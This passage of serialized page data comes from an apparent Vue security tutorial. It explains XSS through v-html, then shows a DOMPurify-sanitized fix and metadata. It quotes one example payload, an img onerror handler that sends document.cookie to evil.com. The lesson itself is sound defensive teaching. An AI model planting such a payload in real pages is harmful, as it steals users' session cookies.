",[31,2438,2439],{},"\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fevil.com?c='+document.cookie)\">"," — the ",[31,2442,2443],{},"onerror"," handler executes when the image fails to load, stealing cookies.",[205,2446,2447,2451,2452,1127],{},[2448,2449,2450],"strong",{},"Fix"," — sanitize with DOMPurify before ",[31,2453,2305],{},[20,2455,2457],{"filename":2456,"language":23},"SecurityFixed.vue",[25,2458,2460],{"className":27,"code":2459,"language":23,"meta":29,"style":29},"\u003Cscript setup>\nimport { ref, computed } from 'vue'\nimport DOMPurify from 'dompurify'\n\nconst comment = ref('')\n\n\u002F\u002F Sanitize on every change — removes script tags, onerror, onclick, etc.\nconst safeComment = computed(() => DOMPurify.sanitize(comment.value))\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cinput v-model=\"comment\" placeholder=\"Write a comment\" \u002F>\n  \u003C!-- ✅ Sanitized HTML — dangerous tags\u002Fattrs stripped -->\n  \u003Cdiv v-html=\"safeComment\" \u002F>\n\u003C\u002Ftemplate>\n",[31,2461,2462,2472,2482,2492,2496,2512,2516,2521,2542,2550,2554,2562,2582,2587,2604],{"__ignoreMap":29},[34,2463,2464,2466,2468,2470],{"class":36,"line":37},[34,2465,41],{"class":40},[34,2467,45],{"class":44},[34,2469,49],{"class":48},[34,2471,52],{"class":40},[34,2473,2474,2476,2478,2480],{"class":36,"line":55},[34,2475,59],{"class":58},[34,2477,62],{"class":40},[34,2479,65],{"class":58},[34,2481,69],{"class":68},[34,2483,2484,2486,2488,2490],{"class":36,"line":72},[34,2485,59],{"class":58},[34,2487,77],{"class":40},[34,2489,65],{"class":58},[34,2491,82],{"class":68},[34,2493,2494],{"class":36,"line":85},[34,2495,89],{"emptyLinePlaceholder":88},[34,2497,2498,2500,2502,2504,2506,2508,2510],{"class":36,"line":92},[34,2499,95],{"class":58},[34,2501,363],{"class":98},[34,2503,102],{"class":58},[34,2505,105],{"class":48},[34,2507,108],{"class":40},[34,2509,372],{"class":68},[34,2511,120],{"class":40},[34,2513,2514],{"class":36,"line":123},[34,2515,89],{"emptyLinePlaceholder":88},[34,2517,2518],{"class":36,"line":142},[34,2519,2520],{"class":189},"\u002F\u002F Sanitize on every change — removes script tags, onerror, onclick, etc.\n",[34,2522,2523,2525,2528,2530,2532,2534,2536,2538,2540],{"class":36,"line":161},[34,2524,95],{"class":58},[34,2526,2527],{"class":98}," safeComment",[34,2529,102],{"class":58},[34,2531,518],{"class":48},[34,2533,521],{"class":40},[34,2535,524],{"class":58},[34,2537,527],{"class":40},[34,2539,530],{"class":48},[34,2541,533],{"class":40},[34,2543,2544,2546,2548],{"class":36,"line":171},[34,2545,164],{"class":40},[34,2547,45],{"class":44},[34,2549,52],{"class":40},[34,2551,2552],{"class":36,"line":176},[34,2553,89],{"emptyLinePlaceholder":88},[34,2555,2556,2558,2560],{"class":36,"line":186},[34,2557,41],{"class":40},[34,2559,181],{"class":44},[34,2561,52],{"class":40},[34,2563,2564,2566,2568,2570,2572,2574,2576,2578,2580],{"class":36,"line":193},[34,2565,202],{"class":40},[34,2567,2377],{"class":44},[34,2569,2380],{"class":48},[34,2571,237],{"class":40},[34,2573,417],{"class":68},[34,2575,2387],{"class":48},[34,2577,237],{"class":40},[34,2579,2392],{"class":68},[34,2581,2395],{"class":40},[34,2583,2584],{"class":36,"line":199},[34,2585,2586],{"class":189},"  \u003C!-- ✅ Sanitized HTML — dangerous tags\u002Fattrs stripped -->\n",[34,2588,2589,2591,2593,2595,2597,2600,2602],{"class":36,"line":215},[34,2590,202],{"class":40},[34,2592,410],{"class":44},[34,2594,290],{"class":48},[34,2596,237],{"class":40},[34,2598,2599],{"class":68},"\"safeComment\"",[34,2601,299],{"class":298},[34,2603,52],{"class":40},[34,2605,2606,2608,2610],{"class":36,"line":220},[34,2607,164],{"class":40},[34,2609,181],{"class":44},[34,2611,52],{"class":40},[205,2613,2614,2617,2618,2620,2621,2623,2624,2627],{},[2448,2615,2616],{},"The lesson",": ",[31,2619,2305],{}," bypasses Vue's auto-escaping. Always sanitize user-generated content with DOMPurify (or equivalent) before passing it to ",[31,2622,2305],{},". The default ",[31,2625,2626],{},"{{ }}"," interpolation escapes everything — use it unless you specifically need raw HTML.",[2629,2630,2631],"style",{},"html pre.shiki code .ssxIu, html code.shiki .ssxIu{--shiki-default:#24292E;--shiki-github-dark:#E1E4E8}html pre.shiki code .sk71V, html code.shiki .sk71V{--shiki-default:#22863A;--shiki-github-dark:#85E89D}html pre.shiki code .sIsaT, html code.shiki .sIsaT{--shiki-default:#6F42C1;--shiki-github-dark:#B392F0}html pre.shiki code .svdQ7, html code.shiki .svdQ7{--shiki-default:#D73A49;--shiki-github-dark:#F97583}html pre.shiki code .sJ6F3, html code.shiki .sJ6F3{--shiki-default:#032F62;--shiki-github-dark:#9ECBFF}html pre.shiki code .snvgF, html code.shiki .snvgF{--shiki-default:#005CC5;--shiki-github-dark:#79B8FF}html pre.shiki code .sdCPZ, html code.shiki .sdCPZ{--shiki-default:#6A737D;--shiki-github-dark:#6A737D}html pre.shiki code .sMKGj, html code.shiki .sMKGj{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-github-dark:#FDAEB7;--shiki-github-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .github-dark .shiki span {color: var(--shiki-github-dark);background: var(--shiki-github-dark-bg);font-style: var(--shiki-github-dark-font-style);font-weight: var(--shiki-github-dark-font-weight);text-decoration: var(--shiki-github-dark-text-decoration);}html.github-dark .shiki span {color: var(--shiki-github-dark);background: var(--shiki-github-dark-bg);font-style: var(--shiki-github-dark-font-style);font-weight: var(--shiki-github-dark-font-weight);text-decoration: var(--shiki-github-dark-text-decoration);}html pre.shiki code .svAP2, html code.shiki .svAP2{--shiki-default:#032F62;--shiki-github-dark:#DBEDFF}html pre.shiki code .sCrzJ, html code.shiki .sCrzJ{--shiki-default:#E36209;--shiki-github-dark:#FFAB70}html pre.shiki code .snRuI, html code.shiki .snRuI{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-github-dark:#85E89D;--shiki-github-dark-font-weight:bold}",{"title":29,"searchDepth":55,"depth":55,"links":2633},[2634,2637,2638,2639,2640,2641,2642,2643],{"id":17,"depth":55,"text":18,"children":2635},[2636],{"id":326,"depth":72,"text":327},{"id":586,"depth":55,"text":587},{"id":987,"depth":55,"text":988},{"id":1538,"depth":55,"text":1539},{"id":1773,"depth":55,"text":1774},{"id":2037,"depth":55,"text":2038},{"id":2173,"depth":55,"text":2174},{"id":2298,"depth":55,"text":2299},"XSS prevention via auto-escaping, v-html sanitization with DOMPurify, CSP configuration, credential handling in composables, and content security patterns for user-generated content.","md",{},"\u002Fvue\u002F22-security",{"title":5,"description":2644},"vue\u002F22-security","Pk0r61Dsj0jLotjYl9jv0V2DdvYUa-ZGWS-dHwzYAwk",1789924655861]